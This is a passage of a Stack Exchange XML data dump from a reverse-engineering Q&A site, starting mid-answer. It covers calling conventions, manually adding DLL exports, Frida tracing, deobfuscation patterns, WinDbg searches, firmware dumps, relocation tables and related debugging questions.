have done in your answer.  Here you are modifying ESI and so are correctly preserving it.&lt;/p&gt;&#xA;&lt;p&gt;However, as you have discovered, if you call another function it is up to you, in your hand-crafted assembly, to abide by the calling convention.  It is almost certain that Debug is modifying ECX or EDX (as it is allowed to do) giving the adverse effect you are seeing.&lt;/p&gt;&#xA;&lt;p&gt;So, if you also preserve ECX and EDX in your assembly function I suspect that you will find a call to Debug will work (or at least, if it fails, it's for some other reason.)&lt;/p&gt;&#xA;&lt;p&gt;Something else to consider is that if you were to need any more complex logic in your DLL function, using assembly can be a pain.  Instead you might want to consider writing the function using normal C, as you were originally doing, but writing a very simple assembly wrapper that preserves the values of these additional registers around a call to your easier-to-code C function.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2020-07-19T10:32:40.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25524" PostTypeId="2" ParentId="8120" CreationDate="2020-07-19T17:30:45.717" Score="0" Body="&lt;p&gt;Another program which can do what you're looking for is CFF Explorer:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/17XLV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/17XLV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33592" LastActivityDate="2020-07-19T17:30:45.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25525" PostTypeId="2" ParentId="25292" CreationDate="2020-07-19T20:33:56.313" Score="2" Body="&lt;p&gt;Since I don't know any tool to solve your problem easily, I will tell you how it can be done &amp;quot;by hand&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;First of all, you have to be familiar with PE format. If you are not, you may check &lt;a href=&quot;https://www.aldeid.com/wiki/PE-Portable-executable&quot; rel=&quot;nofollow noreferrer&quot;&gt;aldeid&lt;/a&gt; and &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt; to understand the steps I will describe. Adding an export to &lt;code&gt;dll&lt;/code&gt; is just extending &lt;code&gt;Export Directory&lt;/code&gt; and possibly changing some other fields. So, what you have to do is to:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open your &lt;code&gt;dll&lt;/code&gt; in PE parser. It can be &lt;a href=&quot;http://www.pe-explorer.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PE Explorer&lt;/a&gt;, &lt;a href=&quot;https://ntcore.com/?page_id=388&quot; rel=&quot;nofollow noreferrer&quot;&gt;CFF Explorer&lt;/a&gt; or in disassembler such as IDA (tick manual load, and then load all possible sections).&lt;/li&gt;&#xA;&lt;li&gt;Open your favourite hex editor in order to patch &lt;code&gt;dll&lt;/code&gt;. Some changes may be done in above mentioned PE parsers, but not all.&lt;/li&gt;&#xA;&lt;li&gt;Increase &lt;code&gt;ExportDirectory.NumberOfFunctions&lt;/code&gt; by &lt;code&gt;1&lt;/code&gt;, since you are adding new function.&lt;/li&gt;&#xA;&lt;li&gt;Do the same thing with &lt;code&gt;ExportDirectory.NumberOfNames&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Now, you have to add new entry to &lt;code&gt;Export Address Table&lt;/code&gt;, which is located at &lt;code&gt;ExportDirectory.AddressOfFunctions&lt;/code&gt;. Just use hex editor to insert &lt;code&gt;4&lt;/code&gt; new NULL bytes - you will set their value when you insert your function's code.&lt;/li&gt;&#xA;&lt;li&gt;After previous step, &lt;code&gt;ExportDirectory.AddressOfNames&lt;/code&gt; has probably changed (by &lt;code&gt;4&lt;/code&gt; bytes). You have to adjust it as well.&lt;/li&gt;&#xA;&lt;li&gt;Now, insert new entry to &lt;code&gt;ExportDirectory.AddressOfNames&lt;/code&gt; - insert another &lt;code&gt;4&lt;/code&gt; bytes using hex editor. Later on, you will change it to the name of your function.&lt;/li&gt;&#xA;&lt;li&gt;As in step 6. and 7., adjust &lt;code&gt;ExportDirectory.AddressOfNameOrdinals&lt;/code&gt; and add &lt;code&gt;2&lt;/code&gt; bytes using hex editor (highest ordinal &lt;code&gt;+ 1&lt;/code&gt;, write it in little endian).&lt;/li&gt;&#xA;&lt;li&gt;Since you have inserted several new bytes, you have to change &lt;code&gt;ExportDirectory.Name&lt;/code&gt; as well, to point to the &lt;code&gt;dll&lt;/code&gt; name.&lt;/li&gt;&#xA;&lt;li&gt;Now, insert your function's name at the end of the table of function names (last entry in &lt;code&gt;ExportDirectory.AddressOfNames&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Set the entry you have created in 7. so it points to your function name.&lt;/li&gt;&#xA;&lt;li&gt;Insert your function's code at the end of &lt;code&gt;.text&lt;/code&gt; section (if it is small enough, you won't have to resize it).&lt;/li&gt;&#xA;&lt;li&gt;Set the entry you have created in 5.&lt;/li&gt;&#xA;&lt;li&gt;Change &lt;code&gt;Export Directory Size&lt;/code&gt; to match your new size.&lt;/li&gt;&#xA;&lt;li&gt;Use the same value for changing &lt;code&gt;SectionHeader.VirtualSize&lt;/code&gt; for &lt;code&gt;.edata&lt;/code&gt; section.&lt;/li&gt;&#xA;&lt;li&gt;Increase &lt;code&gt;FileHeader.NumberOfSymbols&lt;/code&gt; by &lt;code&gt;1&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Either increase &lt;code&gt;SectionTable.SizeOfRawData&lt;/code&gt; for &lt;code&gt;ExportDirectory&lt;/code&gt; by number of bytes you have inserted using hex editor, or delete as this number of NULL bytes at the end of &lt;code&gt;ExportDirectory&lt;/code&gt; (if present).&lt;/li&gt;&#xA;&lt;li&gt;Zero out or compute new &lt;code&gt;OptionalHeader.CheckSum&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;As you see, it's a tedious process to do this manually and even if you find doing it too difficult, I hope that at least you see what has to be done &amp;quot;at low level&amp;quot; to add new export to a &lt;code&gt;dll&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-07-19T20:33:56.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25527" PostTypeId="1" CreationDate="2020-07-20T16:59:49.350" Score="1" ViewCount="348" Body="&lt;p&gt;I have the following pseudocode generated by &lt;code&gt;IDA Pro decompiler&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;__int64 *__usercall sub_155B5@&amp;lt;X0&amp;gt;(__int64 *a1@&amp;lt;X0&amp;gt;, unsigned int a2@&amp;lt;W1&amp;gt;, char **a3@&amp;lt;X8&amp;gt;)&#xA;{&#xA;  ...&#xA;  result = sub_222E0((__int64 *)a3, 2 * a2, 0x20u); &#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using &lt;code&gt;frida-trace&lt;/code&gt;, I could verify that &lt;code&gt;sub_155B5&lt;/code&gt; is called for every API request. This is the command that I used:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ frida-trace -U com.app.name -a 'libname.so!0x155b5'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Therefore, I thought I could safely assume that &lt;code&gt;sub_222E0&lt;/code&gt; was also executed, because it's contained by &lt;code&gt;sub_155B5&lt;/code&gt; which was obviously executed. However, it turned out that I was wrong. &lt;code&gt;frida-trace&lt;/code&gt; failed to trace &lt;code&gt;sub_222E0&lt;/code&gt; using the same command above.&lt;/p&gt;&#xA;&lt;p&gt;What are the possible causes for this outcome?&lt;/p&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&lt;p&gt;Here's the declaration of &lt;code&gt;sub_222E0&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;__int64 __fastcall sub_222E0(__int64 a1, __int64 a2, __int64 a3)&#xA;{&#xA;  return sub_4D2EC(*(_QWORD **)(a1 + 64), a2, a3);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And &lt;code&gt;frida-trace&lt;/code&gt; does trace &lt;code&gt;sub_4D2EC&lt;/code&gt; everytime &lt;code&gt;sub_155B5&lt;/code&gt; is executed, but not &lt;code&gt;sub_222E0&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33887" LastEditorUserId="33887" LastEditDate="2020-07-21T14:05:51.803" LastActivityDate="2020-07-21T14:05:51.803" Title="Frida not able to trace sub_XXXXX which must have been called" Tags="|ida|android|frida|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25528" PostTypeId="1" CreationDate="2020-07-20T22:26:15.500" Score="1" ViewCount="239" Body="&lt;p&gt;I'm working on an obfuscated binary. I recognized some patterns used to confuse the disassembler, some used to obfuscate function calls, some other for conditional jumps and so on.&lt;/p&gt;&#xA;&lt;p&gt;The idea was to search these patterns along the binary. The problem is that such patterns are often interleaved with unconditional jumps.&lt;/p&gt;&#xA;&lt;p&gt;For example this code is used to replace a simple conditional jump:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;push    offset loc_123456&#xA;push    ebx&#xA;push    eax&#xA;mov     ebx, [esp+8]&#xA;mov     eax, offset loc_654321&#xA;cmovz   ebx, eax&#xA;mov     [esp+8], ebx&#xA;pop     eax&#xA;pop     ebx&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The problem is that this pattern is often split in two or more parts (because the whole code is split in several blocks that are spread everywhere in the binary and then connected with unconditional jumps), and of course I cannot find it with a simple byte pattern search.&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to look for all the pieces of code that satisfy a pattern even if they are broken in 2 (or more) pieces and connected with an unconditional jump?&lt;/p&gt;&#xA;" OwnerUserId="33891" LastEditorUserId="4658" LastEditDate="2020-07-21T09:35:20.883" LastActivityDate="2020-07-21T09:35:20.883" Title="Looking for obfuscation patterns within jumps" Tags="|deobfuscation|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25530" PostTypeId="2" ParentId="25520" CreationDate="2020-07-22T05:15:40.180" Score="3" Body="&lt;p&gt;The Sequence of  Bytes do not represent a string&lt;/p&gt;&#xA;&lt;p&gt;please take note of the first 3 bytes &lt;strong&gt;0x33,0xc0,0xc3&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;These are  opcodes for &lt;strong&gt;xor eax,eax ,  retn&lt;/strong&gt;   basically &lt;strong&gt;return 0; in c / c++&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; eb . 33 c0 c3&#xA;0:000&amp;gt; u . l2&#xA;ntdll!LdrpDoDebuggerBreak+0x2c:&#xA;777a05a6 33c0            xor     eax,eax&#xA;777a05a8 c3              ret&#xA;0:000&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;this is  probably a chunk of a function which has many return 0; statements&lt;/p&gt;&#xA;&lt;p&gt;like&#xA;if(!a)retun 0; do b= blah(); if(!b) return0; .......&lt;/p&gt;&#xA;&lt;p&gt;here the compiler might have recognized the repetition&lt;br /&gt;&#xA;and must have split the part into a seperate piece/chunk as part of optimization.&lt;/p&gt;&#xA;&lt;p&gt;that said  0x90 aka NOP is shown as some kind of D&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:005379B0  33 C0 C3 90 90 90 90 90  90 90 90 90 90 90 90 90  3L+ÐÐÐÐÐÐÐÐÐÐÐÐÐ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which indicates it is not probably a normal english locale encoding&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-07-22T05:15:40.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25531" PostTypeId="1" CreationDate="2020-07-22T11:26:27.880" Score="1" ViewCount="41" Body="&lt;p&gt;I'm searching for a string, say the old &amp;quot;This program cannot run&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Switching context to e.g. notepad, non invasive, with page translation&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1: kd&amp;gt; !process 0 0 notepad.exe&#xA;PROCESS ffff9d05d0005080&#xA;    SessionId: 2  Cid: 0368    Peb: 5c8ae78000  ParentCid: 0890&#xA;    DirBase: 30305002  ObjectTable: ffffb48e166c1440  HandleCount: 232.&#xA;    Image: notepad.exe&#xA;&#xA;1: kd&amp;gt; .process /r /p ffff9d05d0005080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And sweeping for strings returns the expected result&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1: kd&amp;gt; s -[l16]sa 7ff6e1760000 L100&#xA;00007ff6`e176004e  &amp;quot;This program cannot be run in DO&amp;quot;&#xA;00007ff6`e176006e  &amp;quot;S mode.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However pattern search returns with nothing&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1: kd&amp;gt; s -a 7ff6e176004e L100 &amp;quot;This program&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Sanity:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00007ff6`e176004e  54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e  This program can&#xA;00007ff6`e176005e  6e 6f 74 20 62 65 20 72-75 6e 20 69 6e 20 44 4f  not be run in DO&#xA;00007ff6`e176006e  53 20 6d 6f 64 65 2e 0d-0d 0a 24 00 00 00 00 00  S mode....$.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now if I switch context, but this time with the invasive flag&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1: kd&amp;gt; .process /i /r /p ffff9d05d0005080&#xA;1: kd&amp;gt; g&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And voila&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1: kd&amp;gt; s -a 7ff6e176004e L100 &amp;quot;This program&amp;quot;&#xA;00007ff6`e176004e  54 68 69 73 20 70 72 6f-67 72 61 6d 20 63 61 6e  This program can&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Since clearly WinDbg can search &amp;amp; find the string on it's own, why is invasive needed for it to crop up during pattern search?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12194" LastActivityDate="2020-07-22T11:26:27.880" Title="WinDbg pattern search not returning expected result" Tags="|memory|windbg|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25532" PostTypeId="1" CreationDate="2020-07-22T20:33:56.417" Score="0" ViewCount="128" Body="&lt;p&gt;I want to find and edit the values for the motion blur effect in Naruto: Ultimate Ninja Storm 3 on PC (Windows, DX11) to be more in line with the PS3 version (and the other Storm games on PC as well). The PS3 version uses a very nice per-object motion blur while the PC version uses a crappy camera blur. The ultimate goal of this is to transfer this motion blur over to Storm 4 on PC which uses the same engine.&lt;/p&gt;&#xA;&lt;p&gt;All of my findings are documented here:&#xA;&lt;a href=&quot;https://docs.google.com/document/d/1xxqOxLJwt04sgnIKqHHlfr8Gu6V_4toOFHv52P1FYEY/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.google.com/document/d/1xxqOxLJwt04sgnIKqHHlfr8Gu6V_4toOFHv52P1FYEY/edit?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33911" LastEditorUserId="33911" LastEditDate="2020-07-25T04:56:37.453" LastActivityDate="2020-07-25T04:56:37.453" Title="How to find and edit the source of a string in a DX11 game's exe/files (debug build of the game available)" Tags="|windows|debugging|strings|game-hacking|graphics|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25533" PostTypeId="1" CreationDate="2020-07-22T22:10:55.223" Score="1" ViewCount="101" Body="&lt;p&gt;Is TCK on JTAG the same speed as CPU clock on a Intel X Scale (ArmV5) PXA270?&lt;/p&gt;&#xA;&lt;p&gt;I'm probing signals on pads around the CPU and got a waveform like:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/U3CL6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U3CL6.png&quot; alt=&quot;saleae logic analyzer on PXA270&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But I don't know whether any of this data is JTAG, or just writing to memory or something else. Any idea what this data is?&lt;/p&gt;&#xA;&lt;p&gt;I think if I can find TCK, TDO/TDI should be somewhere near the same set of pads on the PCB?&lt;/p&gt;&#xA;" OwnerUserId="33511" LastActivityDate="2020-09-01T15:03:30.530" Title="JTAG TCK on Intel X Scale (ArmV5) PXA270" Tags="|arm|jtag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25534" PostTypeId="1" AcceptedAnswerId="25547" CreationDate="2020-07-23T04:00:34.820" Score="1" ViewCount="431" Body="&lt;p&gt;This teardown:&#xA;&lt;a href=&quot;https://electronics-teardowns.blogspot.com/2020/07/eufy-homebase2-teardown.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://electronics-teardowns.blogspot.com/2020/07/eufy-homebase2-teardown.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Gives a flash dump for the Eufy Home Base 2 here: &lt;a href=&quot;https://anonymousfiles.io/Ve9y3cL4/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://anonymousfiles.io/Ve9y3cL4/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With this partition table:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[    0.472000] Creating 12 MTD partitions on &amp;quot;raspi&amp;quot;:&#xA;[    0.480000] 0x000000000000-0x000002000000 : &amp;quot;ALL&amp;quot;&#xA;[    0.484000] 0x000000000000-0x000000030000 : &amp;quot;Bootloader&amp;quot;&#xA;[    0.492000] 0x000000030000-0x000000040000 : &amp;quot;Config&amp;quot;&#xA;[    0.500000] 0x000000040000-0x000000050000 : &amp;quot;Factory&amp;quot;&#xA;[    0.504000] 0x000000050000-0x0000002e02cd : &amp;quot;Kernel&amp;quot;&#xA;[    0.512000] mtd: partition &amp;quot;Kernel&amp;quot; doesn't end on an erase block -- force read-only&#xA;[    0.520000] 0x0000002e02cd-0x000000e50000 : &amp;quot;RootFS&amp;quot;&#xA;[    0.524000] mtd: partition &amp;quot;RootFS&amp;quot; doesn't start on an erase block boundary -- force read-only&#xA;[    0.536000] 0x000000050000-0x000000e50000 : &amp;quot;Kernel_RootFS&amp;quot;&#xA;[    0.544000] 0x000000e50000-0x000000e60000 : &amp;quot;device_info&amp;quot;&#xA;[    0.552000] 0x000000e60000-0x000000e70000 : &amp;quot;ocean_custom&amp;quot;&#xA;[    0.560000] 0x000000e70000-0x000000f40000 : &amp;quot;Kernel2&amp;quot;&#xA;[    0.564000] 0x000000f40000-0x000001440000 : &amp;quot;RootFS2&amp;quot;&#xA;[    0.572000] 0x000001440000-0x000002000000 : &amp;quot;user_fs_jffs2&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But binwalk, file, unsquashfs, etc., can't seem to find filesystems at those offsets.  Eg., binwalk just sees a bunch of xz data (which often decompresses into MIPS binaries, but not a filesystem):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk mtd0 |head&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;83600         0x14690         U-Boot version string, &amp;quot;U-Boot 1.1.3 (Nov  6 2018 - 17:19:03)&amp;quot;&#xA;327680        0x50000         uImage header, header size: 64 bytes, header CRC: 0xD3931108, created: 2020-05-09 09:54:47, image size: 13185677 bytes, Data Address: 0x80000000, Entry Point: 0x805E9280, data CRC: 0x62435970, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &amp;quot;Linux Kernel Image&amp;quot;&#xA;327744        0x50040         LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 8125672 bytes&#xA;3015469       0x2E032D        xz compressed data&#xA;3064741       0x2EC3A5        xz compressed data&#xA;3112893       0x2F7FBD        xz compressed data&#xA;3164133       0x3047E5        xz compressed data&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'd like to study the various rootfs filesytems listed in the partition table.  What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="33912" LastActivityDate="2020-07-24T22:39:42.187" Title="Why doesn't binwalk see the filesystems in this Eufy Home Base 2 flash dump?" Tags="|file-format|mips|flash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25535" PostTypeId="1" CreationDate="2020-07-23T04:48:07.773" Score="0" ViewCount="1574" Body="&lt;p&gt;I am using x64dbg and I want to know if there's any way to run the code till next Call statement?&lt;/p&gt;&#xA;&lt;p&gt;I know there is an &amp;quot;Execute till return&amp;quot; option,&lt;/p&gt;&#xA;&lt;p&gt;but I want to execute till next call statement or next CMP or any other statements.&lt;/p&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="33916" LastActivityDate="2020-07-23T04:48:07.773" Title="x64dbg execute till next call OR return" Tags="|debugging|ollydbg|debuggers|x64dbg|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25537" PostTypeId="1" AcceptedAnswerId="25560" CreationDate="2020-07-23T11:35:35.880" Score="0" ViewCount="513" Body="&lt;p&gt;I am currently reversing RUST binaries, and I often come across this block of instruction :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:000055F4BFB943F2 db      2Eh&#xA;.text:000055F4BFB943F2 nop     word ptr [rax+rax+00000000h]&#xA;.text:000055F4BFB943FC nop     dword ptr [rax+00h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which probably does nothing. I can see the rogue byte at the beginning, but pressing &lt;code&gt;C&lt;/code&gt; on IDA to disassemble from there gives no result. Thus, I am wondering why rust compiler create those instructions as they appear to be useless.&lt;/p&gt;&#xA;" OwnerUserId="33922" LastActivityDate="2020-07-27T13:43:46.650" Title="Why do those useless instruction are in Rust final binary?" Tags="|disassembly|compilers|compiler-optimization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25539" PostTypeId="1" CreationDate="2020-07-24T00:21:09.627" Score="1" ViewCount="91" Body="&lt;p&gt;I was wondering what are all the possible ways people can mess with the executable's &lt;code&gt;.rdata&lt;/code&gt; strings ?&lt;/p&gt;&#xA;&lt;p&gt;Because I've actualy seen it .. But I do not have any idea how they do that.&lt;/p&gt;&#xA;&lt;p&gt;Some random dude made like a copy of My executable but with more strings (Files Names) on an [x] offset that falls into the &lt;code&gt;.rdata&lt;/code&gt; section, which caused the Executable to map more files in the memory ...&lt;/p&gt;&#xA;&lt;p&gt;How is that even possible ?&lt;/p&gt;&#xA;" OwnerUserId="33930" LastEditorDisplayName="user42316" LastEditDate="2023-01-05T10:36:50.107" LastActivityDate="2023-01-05T10:36:50.107" Title="What are all possible ways to add strings to the .rdata section of a Binary Executable?" Tags="|section|code-generation|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25540" PostTypeId="1" AcceptedAnswerId="25545" CreationDate="2020-07-24T12:20:41.473" Score="1" ViewCount="736" Body="&lt;p&gt;I understand that the relocation table exists for when an image isn't loaded at its preferred address, but if an image isn't loaded at its preferred address, doesn't everything need to be relocated relative to the actual load address? Isn't that the whole point of an RVA? What makes addresses that have entries in the relocation table different?&lt;/p&gt;&#xA;&lt;p&gt;(My first question, please point out mistakes if I made them. Thanks.)&lt;/p&gt;&#xA;" OwnerUserId="33933" LastActivityDate="2020-07-24T17:30:56.920" Title="Why are relocation tables needed?" Tags="|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25541" PostTypeId="1" CreationDate="2020-07-24T14:24:10.440" Score="0" ViewCount="2704" Body="&lt;p&gt;I have an elf executable. I found a string (awesome string) in my &lt;code&gt;.rodata&lt;/code&gt; section:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ mb-readelf -p 10 a.out&#xA;&#xA;String dump of section '.rodata':&#xA;  [     0]  Hello world&#xA;...&#xA;  [  ab12]  awesome string&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here are the sections:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -S a.out&#xA;There are 27 section headers, starting at offset 0x10150:&#xA;&#xA;Section Headers:&#xA;  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al&#xA;  [ 0]                   NULL            00000000 000000 000000 00      0   0  0&#xA;...&#xA;  [10] .rodata           PROGBITS        00004fc8 00a030 001394 00   A  0   0  4&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So the address of awesome string is &lt;code&gt;00004fc8 + ab12 = 14ada&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I want to know which functions are using this awesome string. How can I know who references the address 14ada?&lt;/p&gt;&#xA;" OwnerUserId="33934" LastEditorUserId="33934" LastEditDate="2020-07-25T07:54:06.563" LastActivityDate="2020-07-25T07:54:06.563" Title="How to get address or symbol of the usage of a constant located in rodata?" Tags="|objdump|address|section|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25542" PostTypeId="1" AcceptedAnswerId="25548" CreationDate="2020-07-24T14:51:15.430" Score="0" ViewCount="1901" Body="&lt;p&gt;Given C code, are the function addresses from the ELF the same as those in the stripped version?&lt;/p&gt;&#xA;&lt;p&gt;I don't have any specific code in mind. Just trying to learn in general how to find the function beginning (and possibly end) in the stripped binary given the original code.&lt;/p&gt;&#xA;" OwnerUserId="33925" LastActivityDate="2020-07-25T20:08:52.957" Title="How to find function start in stripped binary?" Tags="|disassembly|binary-analysis|c|gcc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25543" PostTypeId="1" CreationDate="2020-07-24T15:44:45.520" Score="0" ViewCount="288" Body="&lt;p&gt;I am trying to edit the graphics on a game and have a .nsh file where post-process effect data is contained. I cannot seem to find a program to extract/read its contents.&lt;/p&gt;&#xA;&lt;p&gt;Googling it, I see something about NSIS packages but nothing past that.&lt;/p&gt;&#xA;&lt;p&gt;Edit: Link added for the file. This is for Naruto Ultimate Ninja Storm 3 Full Burst HD on PC (dx11), and I have also uploaded the corresponding nsh files for ps3, xbox360, ps4, and dx9 (win32)&#xA;&lt;a href=&quot;https://drive.google.com/drive/folders/17JZi-H8DpZZsOcyTZ_xQUvrgV-cnmnbd?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/drive/folders/17JZi-H8DpZZsOcyTZ_xQUvrgV-cnmnbd?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33911" LastEditorUserId="33911" LastEditDate="2020-07-26T03:01:37.167" LastActivityDate="2020-07-26T03:01:37.167" Title="How to extract .nsh file?" Tags="|decompress|game-hacking|graphics|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25545" PostTypeId="2" ParentId="25540" CreationDate="2020-07-24T17:20:21.890" Score="1" Body="&lt;p&gt;Relative Virtual Address = RVA  it is relative within the address space&lt;/p&gt;&#xA;&lt;p&gt;jmp here+78  will always jump +78 from wherever here is&lt;/p&gt;&#xA;&lt;p&gt;now jump 402078 will always try to jump to 402078&lt;/p&gt;&#xA;&lt;p&gt;this will only succeed if 402078's preferred loading address was 400000 and the binary&lt;/p&gt;&#xA;&lt;p&gt;loaded at 400000&lt;/p&gt;&#xA;&lt;p&gt;if it loaded at 600000 then 402078 does not exist in that address space and will result in access vioaltion&lt;/p&gt;&#xA;&lt;p&gt;here relocation table is required&lt;/p&gt;&#xA;&lt;p&gt;Loader when loading the binary will check preferred address  and patch the 402078 to 602078  when loading&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/20057/call-instruction-changed-while-running/20058#20058&quot;&gt;posts that contain relevent information&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-07-24T17:30:56.920" LastActivityDate="2020-07-24T17:30:56.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
